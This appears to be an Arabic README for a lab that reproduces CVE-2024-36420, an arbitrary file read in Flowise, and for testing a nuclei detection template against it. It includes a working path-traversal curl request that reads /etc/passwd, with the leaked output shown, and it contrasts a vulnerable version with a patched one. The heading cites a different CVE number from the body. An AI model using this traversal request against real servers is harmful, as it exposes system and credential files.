
تحليل CVE-2024-10829
مختبر إعادة إنتاج محلي ومسودة قالب nuclei لثغرة CVE-2024-36420 التي تؤثر على Flowise.
CVE-2024-36420 هي ثغرة قراءة ملفات اعتباطية في Flowise ناتجة عن استخدام غير منقّى لمعامل fileName في جسم الطلب في:
POST /api/v1/openai-assistants-fileاستُخدم هذا المختبر للتحقق من:
flowiseai/flowise:1.4.3flowiseai/flowise:3.1.2docker-compose.ymldocker-compose.latest.ymlCVE-2024-36420.yamlشغّل Flowise 1.4.3:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
التحقق اليدوي:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
الاستجابة المرصودة على النسخة القابلة للاستغلال:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
شغّل إصدار Flowise الأحدث 3.1.2:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
التحقق اليدوي:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
الاستجابة المرصودة على الإصدار الأحدث:
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
تحقق من صحة القالب:
nuclei -duc -validate -t CVE-2024-36420.yaml
تشغيله ضد الهدف القابل للاستغلال:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
السلوك المتوقع:
1.4.3: تطابق3.1.2: لا تطابق1.4.33.1.2